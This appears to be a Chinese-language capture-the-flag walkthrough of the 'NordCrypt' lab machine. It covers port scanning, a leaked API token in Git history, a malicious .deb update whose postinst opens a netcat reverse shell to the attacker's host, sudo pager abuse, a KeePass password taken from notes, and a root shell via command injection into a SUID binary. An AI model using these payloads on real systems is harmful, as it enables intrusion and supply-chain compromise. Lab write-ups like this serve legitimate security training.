NordCrypt Security

image

信息搜集

主机发现

1
2
3
4
5
6
7
8
9
┌──(root㉿Eecho)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.43.5
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
......
192.168.43.8    08:00:27:4b:a3:ff       PCS Systemtechnik GmbH
......
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.949 seconds (131.35 hosts/sec). 3 responded

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.8 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.8:22
Open 192.168.43.8:80
Open 192.168.43.8:443
Open 192.168.43.8:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.8
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-27 19:38 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:38
Completed NSE at 19:38, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:38
Completed NSE at 19:38, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:38
Completed NSE at 19:38, 0.00s elapsed
Initiating ARP Ping Scan at 19:38
Scanning 192.168.43.8 [1 port]
Completed ARP Ping Scan at 19:38, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:38
Completed Parallel DNS resolution of 1 host. at 19:38, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:38
Scanning 192.168.43.8 [4 ports]
Discovered open port 8080/tcp on 192.168.43.8
Discovered open port 80/tcp on 192.168.43.8
Discovered open port 22/tcp on 192.168.43.8
Discovered open port 443/tcp on 192.168.43.8
Completed SYN Stealth Scan at 19:38, 0.02s elapsed (4 total ports)
Initiating Service scan at 19:38
Scanning 4 services on 192.168.43.8
Completed Service scan at 19:39, 26.10s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.8
NSE: Script scanning 192.168.43.8.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:39
Completed NSE at 19:39, 0.65s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:39
Completed NSE at 19:39, 1.16s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:39
Completed NSE at 19:39, 0.00s elapsed
Nmap scan report for 192.168.43.8
Host is up, received arp-response (0.00053s latency).
Scanned at 2026-07-27 19:38:52 CST for 29s

PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 64 OpenSSH 10.0p2 Ubuntu 5ubuntu5.4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     syn-ack ttl 64 Apache httpd 2.4.64 ((Ubuntu))
|_http-server-header: Apache/2.4.64 (Ubuntu)
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: NordCrypt Solutions \xE2\x80\x94 Enterprise Encryption for Critical Inf...
443/tcp  open  ssl/http syn-ack ttl 64 Apache httpd 2.4.64 ((Ubuntu))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.64 (Ubuntu)
|_http-title: NordCrypt Solutions \xE2\x80\x94 Enterprise Encryption for Critical Inf...
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
| tls-alpn:
|_  http/1.1
| ssl-cert: Subject: commonName=nordcrypt-updates.ia2.thl/organizationName=NordCrypt Solutions AS/stateOrProvinceName=Oslo/countryName=NO/localityName=Oslo
| Subject Alternative Name: DNS:nordcrypt-updates.ia2.thl, DNS:ia2.thl, DNS:*.ia2.thl
| Issuer: commonName=nordcrypt-updates.ia2.thl/organizationName=NordCrypt Solutions AS/stateOrProvinceName=Oslo/countryName=NO/localityName=Oslo
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-05-19T17:16:04
| Not valid after:  2027-05-19T17:16:04
| MD5:     5f90 58f6 e496 f35c 13a2 75c4 88b7 37be
| SHA-1:   9298 fb9e 5c1d 3588 fc81 02ae 5feb 33c3 d54c 5382
| SHA-256: 00f8 345c 5a57 06ae cdf3 0fde 89c7 5683 6ed4 f450 4665 70cc 4df2 b690 8b73 a489
| -----BEGIN CERTIFICATE-----
| MIIF/TCCA+WgAwIBAgIUIOiz7hbW8kUsFB9XKIaK21dcRMUwDQYJKoZIhvcNAQEL
| BQAwcDELMAkGA1UEBhMCTk8xDTALBgNVBAgMBE9zbG8xDTALBgNVBAcMBE9zbG8x
| HzAdBgNVBAoMFk5vcmRDcnlwdCBTb2x1dGlvbnMgQVMxIjAgBgNVBAMMGW5vcmRj
| cnlwdC11cGRhdGVzLmlhMi50aGwwHhcNMjYwNTE5MTcxNjA0WhcNMjcwNTE5MTcx
| NjA0WjBwMQswCQYDVQQGEwJOTzENMAsGA1UECAwET3NsbzENMAsGA1UEBwwET3Ns
| bzEfMB0GA1UECgwWTm9yZENyeXB0IFNvbHV0aW9ucyBBUzEiMCAGA1UEAwwZbm9y
| ZGNyeXB0LXVwZGF0ZXMuaWEyLnRobDCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCC
| AgoCggIBAJiAAW0gqTIWPiZskV33RTPn7Mp5hvokm9XsLbp108TF7fBJdBOCauUy
| +301pQU3L7ScII4qKLudXJ+EzXO1C7Dr7FOIJSUboo/b80efxbeRkoLVYDkqlDwv
| fXG3iLjjVDUCUZJ9gNSuIeDZN3a63RN387+gL0JFior14wHprCNv3G3lcu3fQGon
| taiRdDhONtzRpWGzfvIBEE/22uoZDhFE3cJUTaLu3p0fCGf3kaRLUnDLc71hlx70
| 412yNOYnTCcmoKvZ9BG75vbTH3Etc3CLtLOiANmLmk8cdiqarP20nvnlVz1nqjMJ
| jZp4juYHkswJdasOsPhXtCb5y3Sbncn+JMXa6XQhTtxqUICU+q02WDySXBce+tqu
| x5OpdAtY3wGtnYFtngOv+4hXp8CVsFIIVq9toickVMTc9CQN1n/tWG56KvZN8haf
| Kvq0l2F/hYOh/KSVLiwWtMyez3WJv4YA9HclmNb5nHNOJDYAAoq7q9Pcij5X4Ulx
| 1csj1GLFkVs4KvXVUTuE5539YBn4CDJ4JWXXnw7WmRza8w0Uw9b0nGUxHpJW+tHt
| JX0NeJs+MWJWzsjQHI88pyx5+ecYUcDK/QZ5RzCiz/30wLPsLM8grQBXpcRWzvWk
| Wm+gpTmawGsfjRg5tt4R/qtG8n2M1h0d965dabQy4VuagqgHM9AnAgMBAAGjgY4w
| gYswHQYDVR0OBBYEFIqOTvUk6jd+qZhXkZpyDQK1ZXJgMB8GA1UdIwQYMBaAFIqO
| TvUk6jd+qZhXkZpyDQK1ZXJgMA8GA1UdEwEB/wQFMAMBAf8wOAYDVR0RBDEwL4IZ
| bm9yZGNyeXB0LXVwZGF0ZXMuaWEyLnRobIIHaWEyLnRobIIJKi5pYTIudGhsMA0G
| CSqGSIb3DQEBCwUAA4ICAQBtVWuSVz+vLABY9OEjDmuxIcP+xMC1kIRkhbLj7Gpm
| Moo4oJtQZCkz4NYFLNRVQqKtbbYq0A4d8wAHJmR5yPSa95epzx7L5pgksw+MM6Rv
| SxITfekexznfxvY2tPXgZGs4ErdL5ustdU04tZT4hd6rXChB/0vhx+PWeXkryKQI
| iiF1pdhXbYgV+FikGHLVwLWTltzrGFWwV2VA35aJY1nQK8RgaCQSReXcD3g13wR5
| PY7x19Z2Z4vAd4JeQoWYR7ocsWxzPZfVE8RhU0yT1EJEWQTo4Q20vOdwoxM51dt9
| NOwv0tKShHTdY10VA0iSRUncBk6DXDEr2Zl4gRcYm7COaYUcHAW7Dv6NlVsGieqX
| 10g/e4ldLPuv5x4uece/jKhMUetqC1ULYlQiUH4OHVF2l2cwNYoDYKTyzN0Ym6xQ
| yyQ4Ovyvw+zaxN3g/da55xzlYqGPOUyHajtD2FyX9ZsJTxOFPuQYAE3uvWDhnDnw
| p4FXmllGVn13Bno/VVOEPHPYHPrd1qiycb3fnozqQFbnRyMmjCP1KaFXNob8VNfB
| tMDMoFEHCJZY7q6TQ1EyNm6El7G0Vi3ZValN+7sL2qOFQ2Axl/WYMAZhyrHl58IJ
| nJEKx5NO2w3UShTzjJouuUJQASK/RblBiHHmEHccyJJU/qYvr3Ez7FIuOLoLeyWL
| Uw==
|_-----END CERTIFICATE-----
8080/tcp open  http     syn-ack ttl 64 Golang net/http server
|_http-favicon: Unknown favicon MD5: F6E1A9128148EEAD9EFF823C540EF471
|_http-title: NordCrypt Source
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 Not Found
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/plain;charset=utf-8
|     Set-Cookie: i_like_gitea=4cec60bdc5e234b4; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=1HQU83rOrnkDEGBu_Uai0Jh2Rew6MTc4NTE1MjMzOTE5NzczMDk1Mw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 27 Jul 2026 11:38:59 GMT
|     Content-Length: 11
|     found.
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=cde79327de014444; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=7B4GF_5stxkCEV3ZD2RvGhG0WOo6MTc4NTE1MjMzOTE1NDQyNjM2NQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 27 Jul 2026 11:38:59 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>NordCrypt Source</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiTm9yZENyeXB0IFNvdXJjZSIsInNob3J0X25hbWUiOiJOb3JkQ3J5cHQgU291cmNlIiwic3RhcnRfdXJsIjoiaHR0cDovL25vcmRjcnlwdC11cGRhdGVzLmlhMi50aGw6ODA4MC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL25vcmRjcnlwdC11cGRhdGVzLmlhMi50aGw6ODA4MC9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6ImltYWdlL3BuZyIsInNpemVzIjoiNTE
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=5d250efae635deed; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=iox4ERcq5Nl_87VjKRrPCzWFE4Q6MTc4NTE1MjMzOTE4OTE0MDU1Mg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 27 Jul 2026 11:38:59 GMT
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request
| http-methods:
|_  Supported Methods: HEAD GET
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.99%I=7%D=7/27%Time=6A674352%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1000,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:\x20max-age=0,\x
SF:20private,\x20must-revalidate,\x20no-transform\r\nContent-Type:\x20text
SF:/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_gitea=cde79327de014444
SF:;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie:\x20_csrf=7B4GF
SF:_5stxkCEV3ZD2RvGhG0WOo6MTc4NTE1MjMzOTE1NDQyNjM2NQ;\x20Path=/;\x20Max-Ag
SF:e=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN
SF:\r\nDate:\x20Mon,\x2027\x20Jul\x202026\x2011:38:59\x20GMT\r\n\r\n<!DOCT
SF:YPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-auto\">\n<head>\
SF:n\t<meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initi
SF:al-scale=1\">\n\t<title>NordCrypt\x20Source</title>\n\t<link\x20rel=\"m
SF:anifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoiTm9yZENyeX
SF:B0IFNvdXJjZSIsInNob3J0X25hbWUiOiJOb3JkQ3J5cHQgU291cmNlIiwic3RhcnRfdXJsI
SF:joiaHR0cDovL25vcmRjcnlwdC11cGRhdGVzLmlhMi50aGw6ODA4MC8iLCJpY29ucyI6W3si
SF:c3JjIjoiaHR0cDovL25vcmRjcnlwdC11cGRhdGVzLmlhMi50aGw6ODA4MC9hc3NldHMvaW1
SF:nL2xvZ28ucG5nIiwidHlwZSI6ImltYWdlL3BuZyIsInNpemVzIjoiNTE")%r(HTTPOption
SF:s,1A4,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nAllow:\x20HEAD\r
SF:\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Control:\x20max-age=0,\x20pr
SF:ivate,\x20must-revalidate,\x20no-transform\r\nSet-Cookie:\x20i_like_git
SF:ea=5d250efae635deed;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
SF:kie:\x20_csrf=iox4ERcq5Nl_87VjKRrPCzWFE4Q6MTc4NTE1MjMzOTE4OTE0MDU1Mg;\x
SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Mon,\x2027\x20Jul\x202026\x2011:38:59\x
SF:20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\
SF:r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequ
SF:est,1CA,"HTTP/1\.0\x20404\x20Not\x20Found\r\nCache-Control:\x20max-age=
SF:0,\x20private,\x20must-revalidate,\x20no-transform\r\nContent-Type:\x20
SF:text/plain;charset=utf-8\r\nSet-Cookie:\x20i_like_gitea=4cec60bdc5e234b
SF:4;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie:\x20_csrf=1HQU
SF:83rOrnkDEGBu_Uai0Jh2Rew6MTc4NTE1MjMzOTE5NzczMDk1Mw;\x20Path=/;\x20Max-A
SF:ge=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20no
SF:sniff\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Mon,\x2027\x20Jul\x
SF:202026\x2011:38:59\x20GMT\r\nContent-Length:\x2011\r\n\r\nNot\x20found\
SF:.\n");
MAC Address: 08:00:27:4B:A3:FF (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=7/27%OT=22%CT=%CU=34452%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A674369%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=100%TI=Z%CI=Z%TS=A)O
OS:PS(O1=M5B4ST11NW8%O2=M5B4ST11NW8%O3=M5B4NNT11NW8%O4=M5B4ST11NW8%O5=M5B4S
OS:T11NW8%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)E
OS:CN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW8%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)

Uptime guess: 3.695 days (since Fri Jul 24 02:58:21 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.53 ms 192.168.43.8

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:39
Completed NSE at 19:39, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:39
Completed NSE at 19:39, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:39
Completed NSE at 19:39, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.00 seconds
           Raw packets sent: 27 (1.982KB) | Rcvd: 19 (1.454KB)

  • 22 SSH
  • 80 HTTP
  • 443 HTTPS
  • 8080 HTTP

目录扫描

80

/docs/integration-guide.html介绍了一些api端口

image

‍

8080端口web服务存在一个nordcrypt-client存储库

nordcrypt-client​ 是一个命令行工具（./ncctl），供客户通过 NordCrypt 更新分发 API 进行自动化脚本交互。

image

image

查看一下历史提交记录

image

image

可以看到有一次删除了下面的内容，里面包括了TOKEN

1
2
3
4
# Do not commit this file — move to secrets manager before release
UPDATE_API_TOKEN=nc_prod_7f3a9b2e1d8c4f6a0b5e7d9c2a1b3e4f
UPDATE_API_URL=https://nordcrypt-updates.ia2.local/api/v1
DEBUG=false

image

供应链攻击

将仓库glone到本地

1
2
3
4
5
6
7
8
9
┌──(root㉿Eecho)-[/tmp/aaaa]
└─# git clone http://192.168.43.8:8080/lenam/nordcrypt-client.git
Cloning into 'nordcrypt-client'...
remote: Enumerating objects: 13, done.
remote: Counting objects: 100% (13/13), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 13 (delta 1), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (13/13), done.
Resolving deltas: 100% (1/1), done.

并将.env里面的域名nordcrypt-updates.ia2.local写入到hosts文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿Eecho)-[/tmp/aaaa/nordcrypt-client]
└─# ./ncctl list
{
  "packages": [
    {
      "filename": "nordcrypt-agent-2.4.1.deb",
      "name": "nordcrypt-agent",
      "sha256": "e4eb995ae9bf3038bd490a63e90031223c4a811efad74250d4bfb1c9156536db",
      "size": 922,
      "url": "/api/v1/packages/download/nordcrypt-agent-2.4.1.deb",
      "version": "2.4.1"
    }
  ],
  "role": "maintainer"
}

可以看到我们权限是maintainer(维护者),既然我们是维护者且拥有更新软件包的权限，那么我们可以利用供应链攻击，打包恶意更新。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mkdir -p rev/DEBIAN

cat > rev/DEBIAN/postinst << 'EOF'
#!/bin/bash
busybox nc 192.168.43.5 8888 -e /bin/bash
EOF

chmod 755 rev/DEBIAN/postinst

cat > rev/DEBIAN/control << 'EOF'
Package: nordcrypt-agent
Version: 2.7.0
Section: custom
Priority: optional
Architecture: all
Maintainer: Test
Description: Test package
EOF

dpkg-deb --build rev nordcrypt-agent-2.7.0.deb

上传新版本，这里上传的api前面80端口的web服务/docs/integration-guide.html已经介绍过了。需要注意的是将nordcrypt-updates.ia2.thl写入hosts

1
2
3
4
5
┌──(root㉿Eecho)-[/tmp/aaaa/nordcrypt-client]
└─# curl -k -H "Authorization: Bearer nc_prod_7f3a9b2e1d8c4f6a0b5e7d9c2a1b3e4f" \
  -F "file=@nordcrypt-agent-2.7.0.deb" \
  https://nordcrypt-updates.ia2.thl/api/v1/packages/upload
{"distributed_at":"2026-07-28T05:21:19.333393+00:00","filename":"nordcrypt-agent-2.7.0.deb","sha256":"cebc9841585001a2cc526c47659e6b308578dac461e0618ab7d61dea09f0bab7","signed":true,"status":"accepted","version":"2.7.0"}

列出可用的软件包

1
2
3
4
┌──(root㉿Eecho)-[/tmp/aaaa/nordcrypt-client]
└─# curl -k -H "Authorization: Bearer nc_prod_7f3a9b2e1d8c4f6a0b5e7d9c2a1b3e4f" \
  https://nordcrypt-updates.ia2.thl/api/v1/packages/list
{"packages":[{"filename":"nordcrypt-agent-2.4.1.deb","name":"nordcrypt-agent","sha256":"e4eb995ae9bf3038bd490a63e90031223c4a811efad74250d4bfb1c9156536db","size":922,"url":"/api/v1/packages/download/nordcrypt-agent-2.4.1.deb","version":"2.4.1"},{"filename":"nordcrypt-agent-2.6.0.deb","name":"nordcrypt-agent","sha256":"5cc95626cb22cf70dc439f002022f65f9e55353950f347fa4d98a26f98f0d7b4","size":740,"url":"/api/v1/packages/download/nordcrypt-agent-2.6.0.deb","version":"2.6.0"},{"filename":"nordcrypt-agent-2.7.0.deb","name":"nordcrypt-agent","sha256":"cebc9841585001a2cc526c47659e6b308578dac461e0618ab7d61dea09f0bab7","size":744,"url":"/api/v1/packages/download/nordcrypt-agent-2.7.0.deb","version":"2.7.0"}],"role":"maintainer"}

image

可以看到我们上传的nordcrypt-agent-2.7.0.deb已经被成功运行并反弹了shell

‍

提权

nordcrypt -> lenam

1
2
3
nordcrypt@TheHackersLabs-NordCrypt:/home$ sudo -l
User nordcrypt may run the following commands on TheHackersLabs-NordCrypt:
    (lenam) NOPASSWD: /opt/nordcrypt/tools/tail-journal.sh

sudoers滥用，可以利用/opt/nordcrypt/tools/tail-journal.sh来进行提权（读取指定单元的 systemd 日志）。如果存在大量的内容它会将输出通过终端分页器进行管道传输，所以我们可以利用这个分页器。

1
nordcrypt@TheHackersLabs-NordCrypt:/home$ sudo -u lenam /opt/nordcrypt/tools/tail-journal.sh /etc/ssh/sshd_config

image

1
2
lenam@TheHackersLabs-NordCrypt:/home$ id
uid=1000(lenam) gid=1000(lenam) groups=1000(lenam),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)

‍

lenam -> a.dubois

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
lenam@TheHackersLabs-NordCrypt:~$ ls -al
total 48
drwxr-x--- 6 lenam lenam 4096 May 20 11:45 .
drwxr-xr-x 6 root  root  4096 Apr 19 13:01 ..
lrwxrwxrwx 1 lenam lenam    9 May 20 11:42 .bash_history -> /dev/null
-rw-r--r-- 1 lenam lenam  220 Sep  8  2025 .bash_logout
-rw-r--r-- 1 lenam lenam 3771 Sep  8  2025 .bashrc
drwx------ 2 lenam lenam 4096 Apr 10 21:32 .cache
-rw------- 1 lenam lenam   44 May 20 11:03 .lesshst
drwxrwxr-x 3 lenam lenam 4096 May 19 16:56 .local
-rw-r--r-- 1 lenam lenam  807 Sep  8  2025 .profile
drwx------ 2 lenam lenam 4096 May 19 14:40 .ssh
drwxr-xr-x 2 lenam lenam 4096 Apr 18 22:38 Documents
-rw-r--r-- 1 lenam lenam 1124 May 19 16:57 notes.txt
-rw------- 1 lenam lenam   35 Apr 18 22:38 user.txt
lenam@TheHackersLabs-NordCrypt:~$ cd Documents/
lenam@TheHackersLabs-NordCrypt:~/Documents$ ls -al
total 12
drwxr-xr-x 2 lenam lenam 4096 Apr 18 22:38 .
drwxr-x--- 6 lenam lenam 4096 May 20 11:45 ..
-rw-r--r-- 1 lenam lenam 2478 Apr 18 22:38 vault.kdbx
lenam@TheHackersLabs-NordCrypt:~/Documents$

用户家目录下有个Documents文件夹里面包含了一个vault.kdbx文件,同时还有个notes.txt

KeePass解密

vault.kdbx的密码就是notes.txt内容里面的Winter2025!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
lenam@TheHackersLabs-NordCrypt:~$ cat notes.txt
TODO — week of 2026-04-12
=========================

Work
----
- [ ] Finish NordCrypt v2.5 proposal (deadline Friday, reminder on calendar)
- [x] Push the README changelog to Gitea
- [ ] Reset the .env token — ops said they rotated it but I should double-check
      that the old one no longer works (add to Monday's to-do)
- [ ] Code review on the attestation module with Julie (Tuesday 10am)

Infra / passwords
-----------------
- KeePass DB is at ~/Documents/vault.kdbx
- Master password: something I'll definitely remember,
  based on the current season + year + the usual exclamation mark.
  (NOTE TO SELF: I've been told a hundred times this is a bad pattern.
   Will fix after the audit in May. Adding to the calendar.)

- vault.ia2.local SSH creds are in the KeePass under "Vault" group
- Don't forget: the VPN lab is reachable from this workstation only —
  vault is not routed from outside

Personal
--------
- Dentist appointment Thursday 15:00
- Buy birthday present for Laura (Saturday)
- Renew passport — expires in June

---
Reminder: Clean up this file before the next audit. Seriously.

Winter2025!

image

a.dubois:SF-9k4nX!vault2026

横向移动到a.dubois用户

1
2
3
4
5
lenam@TheHackersLabs-NordCrypt:~$ su a.dubois
Password:
a.dubois@TheHackersLabs-NordCrypt:/home/lenam$ id
uid=1001(a.dubois) gid=1001(a.dubois) groups=1001(a.dubois)
a.dubois@TheHackersLabs-NordCrypt:/home/lenam$

‍

a.dubois -> root

用户家目录下有个具有s位的二进制文件

1
2
3
4
5
6
7
8
9
10
11
12
a.dubois@TheHackersLabs-NordCrypt:~$ ls -al
total 52
drwxr-x--- 5 a.dubois a.dubois  4096 May 20 11:44 .
drwxr-xr-x 6 root     root      4096 Apr 19 13:01 ..
lrwxrwxrwx 1 a.dubois a.dubois     9 May 20 11:44 .bash_history -> /dev/null
-rw-r--r-- 1 a.dubois a.dubois   220 Sep  8  2025 .bash_logout
-rw-r--r-- 1 a.dubois a.dubois  3771 Sep  8  2025 .bashrc
drwx------ 2 a.dubois a.dubois  4096 Apr 19 15:48 .cache
drwxrwxr-x 3 a.dubois a.dubois  4096 May 19 16:41 .local
-rw-r--r-- 1 a.dubois a.dubois   807 Sep  8  2025 .profile
drwx------ 2 a.dubois a.dubois  4096 Apr 19 15:49 .ssh
-rwsr-xr-x 1 root     root     16416 May 19 16:49 service_manager

image

可以看到它调用了systemctl

1
2
3
4
5
a.dubois@TheHackersLabs-NordCrypt:~$ ./service_manager a a
[DEBUG] UID: 0, EUID: 0
[!] Executing: systemctl a a 2>&1

Unknown command verb 'a', did you mean 'add-wants'?

那么我们可以使用分隔符；来执行多条命令

1
2
3
4
5
6
a.dubois@TheHackersLabs-NordCrypt:~$ ./service_manager "a;id" a
[DEBUG] UID: 0, EUID: 0
[!] Executing: systemctl a a;id 2>&1

Unknown command verb 'a', did you mean 'add-wants'?
uid=0(root) gid=0(root) groups=0(root),1001(a.dubois)

赋予/bin/bashSUID / SGID 权限

1
2
3
4
5
6
7
8
a.dubois@TheHackersLabs-NordCrypt:~$ ./service_manager "a;chmod +s /bin/bash" a
[DEBUG] UID: 0, EUID: 0
[!] Executing: systemctl a a;chmod +s /bin/bash 2>&1

Unknown command verb 'a', did you mean 'add-wants'?
a.dubois@TheHackersLabs-NordCrypt:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1544408 Sep  8  2025 /bin/bash
a.dubois@TheHackersLabs-NordCrypt:~$
1
2
3
a.dubois@TheHackersLabs-NordCrypt:~$ /bin/bash -p
